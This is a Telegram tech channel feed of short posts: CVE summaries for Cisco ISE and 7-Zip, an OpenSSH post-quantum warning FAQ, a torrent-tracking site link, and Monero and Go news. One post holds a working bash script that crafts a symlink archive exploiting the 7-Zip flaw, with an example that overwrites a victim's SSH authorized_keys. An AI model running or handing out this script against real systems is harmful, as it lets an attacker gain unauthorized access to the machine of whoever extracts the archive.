Do It by Code
54 subscribers
713 photos
100 videos
15 files
1.24K links
We uhhhhh... do things by coding them.
Download Telegram
Torrent download tracker

https://iknowwhatyoudownload.com/

(idk how accurate it is tho. it's definitely not "accurate" if you are using a VPN, because it's gonna show what other people who are using the same vpn as you have downloaded. which is kinda cool in its place)
This media is not supported in your browser
VIEW IN TELEGRAM
Prompt:
a raw walk POV video in the nature. there is a lake, it's raining, it's evening, there is a wet bench.

Model: Google Veo 3 Fast
7
CVE-2025-20281: Cisco ISE - Remote Code Execution

Cisco ISE and Cisco ISE-PIC contain a remote code execution caused by insufficient validation of user-supplied input in a specific API, letting unauthenticated remote attackers execute arbitrary code as root, exploit requires crafted API request.


- PoC

#cve
CVE-2025-55188: 7-Zip: Arbitrary file write on extraction, may lead
to code execution

Affected versions: 7-Zip prior to 25.01

Extracting a maliciously-crafted archive with 7-Zip prior to 25.01 allows for arbitrary file write, which may lead to arbitrary code execution.

The conditions necessary for this vulnerability to be exploited are:
1. User is on Linux
2. 7-Zip version prior to 25.01
3. User is extracting an archive of an archive format for which 7-Zip
supports symbolic links (e.g. .zip, .tar, .7z, .rar, etc...)

This attack may also be done on Windows, but additional conditions are necessary. On Windows, the 7-Zip extraction process must have the capability to create symbolic links (e.g. extract with Administrator privileges, Windows is in Developer Mode, etc...).

- patch
- nvd (the low score is a mistake btw, they will fix it)

#cve
Do It by Code
CVE-2025-55188: 7-Zip: Arbitrary file write on extraction, may lead to code execution Affected versions: 7-Zip prior to 25.01 Extracting a maliciously-crafted archive with 7-Zip prior to 25.01 allows for arbitrary file write, which may lead to arbitrary…
winrar also had a path traversal vulnerability btw (I was too lazy to post it here tho)

winrar's release date: April 22, 1995
7zip's release date: July 18, 1999

I'm speechless

btw there is still no PoC out for 7zip's vulnerability (as far as I know)
Do It by Code
source
had to share this ahahaha
1
Forwarded from rA9
what is this now...
OpenSSH Post-Quantum Cryptography
Article, Comments

I received a warning from ssh that directed me to this page. What should I do?
As mentioned above, OpenSSH 10.1 started warning users when connections use cryptography that is not safe against quantum computers. If you received such a warning, it means that the server you connected to did not offer one of the two post-quantum key agreement algorithms that are being standardised for the SSH protocol: mlkem768x25519-sha256 and sntrup761x25519-sha512

The ideal solution is to update the server to use an SSH implementation that supports at least one of these. OpenSSH versions 9.0 and greater support sntrup761x25519-sha512 and versions 9.9 and greater support mlkem768x25519-sha256. If your server is already running one of these versions, then check whether the KexAlgorithms option has disabled their use.

If you are unable to update the server and/or you prefer to accept the risk of continuing to use quantum-unsafe cryptography then the warning may be silenced via the WarnWeakCrypto option in ssh_config(5). We recommend doing this selectively, for example:
Match host unsafe.example.com
WarnWeakCrypto no
Do It by Code
CVE-2025-55188: 7-Zip: Arbitrary file write on extraction, may lead to code execution Affected versions: 7-Zip prior to 25.01 Extracting a maliciously-crafted archive with 7-Zip prior to 25.01 allows for arbitrary file write, which may lead to arbitrary…
#!/bin/bash
if [ "$#" -ne 3 ]; then
echo "Usage: $0 <payload_file> <target_symlink_path> <output_archive>"
echo "Example: $0 mykey.pub ../../.ssh/authorized_keys exploit.7z"
exit 1
fi

PAYLOAD="$1"
TARGET="$2"
OUT="$3"

WORKDIR=$(mktemp -d)
ln -s "$TARGET" "$WORKDIR/symlink"
cp "$PAYLOAD" "$WORKDIR/symlink"

tar --sort=name -cf "$WORKDIR/exploit.tar" -C "$WORKDIR" symlink
7z a "$OUT" "$WORKDIR/exploit.tar" >/dev/null

echo "[*] Exploit archive created: $OUT"
rm -rf "$WORKDIR"
Source

A 6 re-org does not mean a '51% attack' was successful. In that case, we'd see unbounded-depth re-orgs/no blocks mined by any other mining pool (assuming the adversary censors other mining pools, as this one does).

It does mean an adversary with a high amount of hash got "lucky" (or maybe they are just too rich?)


https://moneroconsensus.info/
but yes this looks quite bad

#xmr #monero
so github search can no longer find symbols in files that are auto-generated?

I remember months ago searching the exact same thing and it gave me lots of results

but now it is only giving me a single result...(or maybe I'm searching it wrong?)
1
happy 4.4k ETH 🎉
Please open Telegram to view this post
VIEW IN TELEGRAM
this is REAL 2.5 pro in REAL gemini.google.com
Go 1.25

Go 1.25 release includes changes in toolchain, runtime, and libraries with no language changes affecting Go programs, maintaining the Go 1 promise of compatibility. The release introduces new features such as a lightweight execution trace, improved garbage collector, and new JSON implementation, while also fixing a compiler bug and improving performance in various areas.